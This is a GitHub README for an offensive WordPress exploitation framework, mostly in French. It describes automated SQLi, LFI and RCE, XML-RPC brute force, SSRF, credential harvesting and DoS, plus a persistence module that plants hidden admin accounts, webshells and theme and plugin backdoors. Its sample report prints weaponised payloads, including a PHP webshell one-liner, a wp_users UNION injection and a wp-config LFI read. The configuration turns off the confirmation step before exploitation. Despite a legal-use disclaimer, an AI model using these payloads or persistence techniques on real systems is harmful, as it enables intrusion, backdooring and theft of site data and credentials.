Skip to content

Steph-ux/wp_exploitation_framework

Repository files navigation

🚀 WordPress PWN Framework v8.5 - Nation State Offensive Edition

Python 3.8+ License: MIT AI-Powered Offensive Nuclei

Framework professionnel d'exploitation WordPress - Niveau Nation State

Framework modulaire ultra-complet pour l'audit offensif de sécurité WordPress, intégrant 20 étapes de reconnaissance, exploitation automatique, persistence, et des capacités d'analyse par IA.

⚠️ USAGE LÉGAL UNIQUEMENT : CTF, labs autorisés, pentests avec autorisation écrite.


🔥 Quoi de neuf dans v8.5

Modules v8.0 (Existants)

Module Description
WPScan API Corrélation CVE WordPress-spécifique
XML-RPC Abuse Brute-force multicall, SSRF, user enum
REST API Exploitation Auth bypass, post modification, data extraction
Credential Harvesting Parse wp-config.php + MySQL remote
Nuclei Integration 16 tags WordPress + templates AI-générés
Persistence Module Admin caché, webshell, backdoors

🆕 Nouveaux Modules v8.5

Module Description
WP-Cron Exploitation DoS flooding, cron hijacking, job enumeration
GraphQL Introspection Schema extraction, user enum, private data access
Headless Browser JS rendering, hidden forms, AJAX capture (Playwright)

⚡ Quick Start

Installation

# Cloner
git clone https://github.com/Steph-ux/wp_pwn_framework.git
cd wp_pwn_framework

# Installer dépendances
pip install -r requirements.txt

# Installer Nuclei (optionnel mais recommandé)
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates

# Configurer
cp .env.example .env
nano .env

Configuration .env

# API Keys (Optionnelles mais recommandées)
GROQ_API_KEY=your_groq_key           # Gratuit sur console.groq.com
WPSCAN_API_KEY=your_wpscan_key       # Gratuit sur wpscan.com
VULNERS_API_KEY=your_vulners_key     # Optionnel

# AI Model
LLM_MODEL=llama-3.3-70b-versatile

🎯 Commandes CLI

Scan Offensif Complet (Recommandé)

# Scan offensif avec 17 étapes + AI
python main.py --target https://target.com --mode aggressive --offensive

# Ou via module
python -m wp_pwn_framework.main --target https://target.com --offensive

Modes de Scan

# SAFE - Passif uniquement (défaut)
python main.py --target https://target.com --mode safe

# MODERATE - Passif + tests non-intrusifs
python main.py --target https://target.com --mode moderate

# AGGRESSIVE - Exploitation active + persistence
python main.py --target https://target.com --mode aggressive --offensive

Par Module

# Subdomain Recon (8 sources)
python main.py --target https://target.com --subdomain-recon

# REST API + GraphQL
python main.py --target https://target.com --api-scan

# XML-RPC Exploitation
python main.py --target https://target.com --xmlrpc

# Nuclei WordPress Scan
python main.py --target https://target.com --nuclei

# AI Analysis
python main.py --target https://target.com --ai-analysis

# Full Recon (toutes les features)
python main.py --target https://target.com --full-recon

🆕 Nouveaux Modules Standalone (v8.5)

# WP-Cron Exploitation
python -m wp_pwn_framework.modules.recon_plus.wpcron_exploit https://target.com

# WP-Cron DoS Attack (⚠️ Usage autorisé uniquement)
python -m wp_pwn_framework.modules.recon_plus.wpcron_exploit https://target.com --dos

# GraphQL Introspection
python -m wp_pwn_framework.modules.recon_plus.graphql_exploit https://target.com

# Headless Browser Analysis (Nécessite: pip install playwright)
python -m wp_pwn_framework.modules.recon_plus.headless_browser https://target.com

Interface Web

python main.py --web
# Ouvrir http://localhost:5000

🔄 Pipeline Offensif (20 Étapes)

┌────────────────────────────────────────────────────────────────┐
│                    OFFENSIVE RECON PIPELINE v8.5                │
├────────────────────────────────────────────────────────────────┤
│  1. Crawling & Indexation                                      │
│  2. HTML Parsing                                                │
│  3. JavaScript Analysis                                         │
│  4. Plugin/Theme Fingerprinting                                 │
│  5. Endpoint Analysis                                           │
│  6. Vulnerability Detection                                     │
│  7. CVE Correlation (WPScan API + Vulners)                     │
│  8. XML-RPC Exploitation (brute-force, SSRF)                   │
│  9. REST API Exploitation (auth bypass, data leak)             │
│ 10. Contextual Fuzzing                                          │
│ 11. WordPress Fuzzing                                           │
│ 12. Nuclei Scan (16 tags + AI templates)                       │
│ 13. Auto Exploitation (SQLi, LFI, RCE)                         │
│ 14. Persistence (admin, webshell, backdoors)                   │
│ 15. Safe Verification                                           │
│ 16. AI Analysis (Nation State Persona)                         │
│ 17. Source Code Audit (0-day Hunter)                           │
│ 18. WP-Cron Exploitation (DoS, hijacking)            ← v8.5   │
│ 19. GraphQL Introspection (schema, user enum)        ← v8.5   │
│ 20. Headless Browser (JS rendering, AJAX)            ← v8.5   │
└────────────────────────────────────────────────────────────────┘

🛠️ Modules Offensifs

1. WPScan API Integration

# Corrélation CVE WordPress-spécifique
# Priorité: WPScan → Base locale → Vulners
CVECorrelator._query_wpscan(plugin_slug, version)

2. XML-RPC Abuse (xmlrpc_exploit.py)

Attaque Méthode Impact
User Enum enumerate_users() Découverte usernames
Brute-Force bruteforce_multicall() 100 passwords/request
SSRF ssrf_pingback() Scan réseau interne, AWS metadata
DoS Check dos_amplification_check() Facteur d'amplification

3. REST API Exploitation (rest_api_exploit.py)

Attaque Méthode Impact
User Extraction extract_users() Dump users même si login désactivé
Post Modification test_post_modification() CVE-2017-1001000 style bypass
Data Extraction extract_sensitive_data() WooCommerce orders/customers
Custom Endpoints discover_custom_endpoints() Plugin endpoints

4. Credential Harvesting (auto_exploit.py)

# Après LFI sur wp-config.php
credentials = _parse_wp_config_credentials(content)
# → DB_NAME, DB_USER, DB_PASSWORD, DB_HOST, AUTH_KEY...

mysql_result = await _try_mysql_connection(credentials)
# → Tentative connexion MySQL distante

5. Nuclei Integration (nuclei_runner.py)

# 16 tags WordPress complets
WP_FULL_TAGS = [
    'wordpress', 'wp', 'wp-plugin', 'wp-theme', 'woocommerce',
    'elementor', 'cms', 'file', 'exposure', 'misconfig',
    'lfi', 'backup', 'config', 'disclosure', 'debug', 'logs'
]

# Génération AI dynamique
runner = NucleiRunner(target)
await runner.full_scan_with_ai(recon_data, llm_agent)

6. Persistence Module (persistence.py)

Type Méthode Accès
Admin User inject_admin_user() WordPress login
Webshell deploy_webshell() Cookie + POST
Theme Backdoor inject_theme_backdoor() GET param
Fake Plugin create_fake_plugin() GET param
MU-Plugin add_wp_cron_backdoor() GET param

🆕 Nouveaux Modules v8.5

7. WP-Cron Exploitation (wpcron_exploit.py)

from modules.recon_plus.wpcron_exploit import WPCronExploit

async with WPCronExploit(target) as exploit:
    # Scan complet
    results = await exploit.full_exploit()
    
    # Attaque DoS (⚠️ Usage autorisé uniquement)
    stats = await exploit.dos_attack(intensity=10, duration=30)

Techniques:

  • ✅ Détection endpoint WP-Cron (/wp-cron.php)
  • ✅ Test vulnérabilité DoS via cron flooding
  • ✅ Enumération des tâches cron (plugins, REST API)
  • ✅ Test de cron hijacking (timestamp bypass)

Vulnérabilités détectées:

  • cron_dos: DoS via requêtes concurrentes
  • cron_timestamp_bypass: Validation timestamp manquante
  • cron_plugin_exposure: Plugins de gestion cron exposés

8. GraphQL Introspection Abuse (graphql_exploit.py)

from modules.recon_plus.graphql_exploit import GraphQLExploit

async with GraphQLExploit(target) as exploit:
    # Introspection complète
    results = await exploit.full_exploit()
    
    # Query personnalisée
    data = await exploit.custom_query(your_graphql_query)

Techniques:

  • ✅ Détection endpoints GraphQL (/graphql, /wp-graphql)
  • ✅ Introspection schema complet (types, mutations, queries)
  • ✅ Extraction users avec emails et rôles
  • ✅ Accès posts privés/draft
  • ✅ Extraction settings, plugins, themes
  • ✅ Détection mutations dangereuses

Queries intégrées:

  • users: Enumération complète + emails
  • posts_private: Posts privés accessibles
  • settings: Configuration site
  • plugins/themes: Versions installées

9. Headless Browser (headless_browser.py)

from modules.recon_plus.headless_browser import HeadlessBrowser

async with HeadlessBrowser(target, headless=True) as browser:
    # Scan JavaScript complet
    results = await browser.full_scan()
    
    # Interaction avec formulaires
    html = await browser.interact_with_form('#login', {'user': 'test'})

Techniques:

  • ✅ Rendu JavaScript complet (Playwright)
  • ✅ Découverte formulaires cachés/dynamiques
  • ✅ Interception requêtes AJAX
  • ✅ Extraction endpoints API depuis JS
  • ✅ Détection données sensibles (API keys, tokens, emails)
  • ✅ Screenshots automatiques

Dépendances:

pip install playwright
playwright install chromium

Findings:

  • Formulaires cachés avec nonces WordPress
  • Endpoints API non documentés
  • Données sensibles exposées (emails, IPs privées)
  • AJAX requests vers admin-ajax.php

📁 Structure

wp_pwn_framework/
├── core/
│   └── scanner.py                  # Scanner principal
├── modules/
│   ├── recon/                      # 12 modules recon
│   │   ├── cve_correlator.py       # WPScan + Vulners API
│   │   ├── rest_api_scanner.py
│   │   ├── graphql_scanner.py
│   │   └── ...
│   ├── recon_plus/                 # 🆕 Modules offensifs
│   │   ├── recon_manager.py        # Pipeline 20 étapes
│   │   ├── xmlrpc_exploit.py       # XML-RPC abuse
│   │   ├── rest_api_exploit.py     # REST API exploit
│   │   ├── nuclei_runner.py        # Nuclei + AI templates
│   │   ├── persistence.py          # Post-exploitation
│   │   ├── wpcron_exploit.py       # 🆕 WP-Cron DoS/hijacking
│   │   ├── graphql_exploit.py      # 🆕 GraphQL introspection
│   │   ├── headless_browser.py     # 🆕 JS rendering (Playwright)
│   │   ├── auto_exploit.py         # SQLi, LFI, RCE
│   │   └── exploit_chain.py        # LFI → RCE chains
│   └── ai/
│       ├── llm_agent.py            # Multi-provider AI
│       └── cve_searcher.py
├── templates/
│   └── wordpress/                  # 🆕 Nuclei custom templates
│       ├── wp-debug-log.yaml
│       ├── wp-config-backup.yaml
│       └── ai_generated/           # 🆕 AI-generated templates
├── web/
│   ├── app.py
│   └── templates/
├── config.py
├── run.py
└── requirements.txt

📊 Exemple de Rapport

════════════════════════════════════════════════════════════════
  WP PWN Framework v8.0 - NATION STATE OFFENSIVE REPORT
════════════════════════════════════════════════════════════════

Target: https://example.com
WordPress Version: 6.3.1
Security Score: 25/100 (CRITICAL)

🔴 CRITICAL FINDINGS:
├── CVE-2020-25213 - WP File Manager RCE [WPScan API]
├── XML-RPC Brute-Force: admin:password123 [CREDENTIALS FOUND]
├── REST API User Leak: 15 users extracted
├── wp-config.php.bak exposed (DB credentials)
└── Nuclei: 8 critical vulnerabilities

⚔️ EXPLOITATION RESULTS:
├── LFI on /wp-content/plugins/vulnerable/?file=
├── RCE achieved via log poisoning
├── Shell URL: https://example.com/wp-content/uploads/.cache.php

🔒 PERSISTENCE INSTALLED:
├── Admin User: wp_support_123 / P@ssw0rd!
├── Webshell: /wp-content/uploads/.htaccess.php
├── Theme Backdoor: /?wp_verify=TOKEN&c=id
└── Fake Plugin: wp-security-helper

💣 WEAPONIZED PAYLOADS (AI Generated):
├── SQLi: ' UNION SELECT user_login,user_pass FROM wp_users--
├── LFI: php://filter/convert.base64-encode/resource=wp-config.php
└── RCE: <?php system($_GET['cmd']); ?>

════════════════════════════════════════════════════════════════

⚙️ Configuration Avancée

config.py

# API Keys
WPSCAN_API_KEY = os.getenv('WPSCAN_API_KEY')
VULNERS_API_KEY = os.getenv('VULNERS_API_KEY')
GROQ_API_KEY = os.getenv('GROQ_API_KEY')

# Nuclei Settings
NUCLEI_TIMEOUT = 600
NUCLEI_RATE_LIMIT = 100

# Exploitation
EXPLOITATION = {
    'mode': 'aggressive',
    'auto_persist': True,
    'require_confirmation': False
}

⚠️ Disclaimer

USAGE LÉGAL UNIQUEMENT

  • Pentests autorisés avec accord écrit
  • CTF et environnements de test
  • Recherche en sécurité autorisée
  • Bug bounty avec autorisation

L'auteur décline toute responsabilité en cas d'usage malveillant.


📝 Changelog

v8.0 (2024-12-06) - Nation State Offensive Edition 🔥

  • 🔥 WPScan API : Corrélation CVE WordPress-spécifique
  • ⚔️ XML-RPC Abuse : Brute-force multicall, SSRF, user enum
  • 🔌 REST API Exploitation : Auth bypass, post modification
  • 🔑 Credential Harvesting : Parse wp-config + MySQL
  • Nuclei Integration : 16 tags + AI templates dynamiques
  • 🔒 Persistence Module : Admin, webshell, backdoors
  • 🤖 AI Enhancement : Nation State persona, 0-day hunter
  • 📊 Logging Production : DEBUG/INFO/ERROR configurable
  • YAML Validation : Templates AI validés via pyyaml

v7.0 (2024-12-05) - Offensive Recon Edition

  • Offensive Recon Pipeline (13 étapes)
  • Auto Exploitation (LFI, SQLi, RCE)
  • Exploit Chaining (LFI → RCE)
  • JS Analyzer Async

v6.0 (2024-12-04) - Ultimate Recon Edition

  • 12 modules de reconnaissance
  • REST API + GraphQL scanning
  • CVE correlation engine

🤝 Contributing

  1. Fork the repository
  2. Create feature branch (git checkout -b feature/amazing)
  3. Commit changes (git commit -m 'Add amazing feature')
  4. Push to branch (git push origin feature/amazing)
  5. Open Pull Request

Made with ❤️ for ethical hackers and red teamers

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published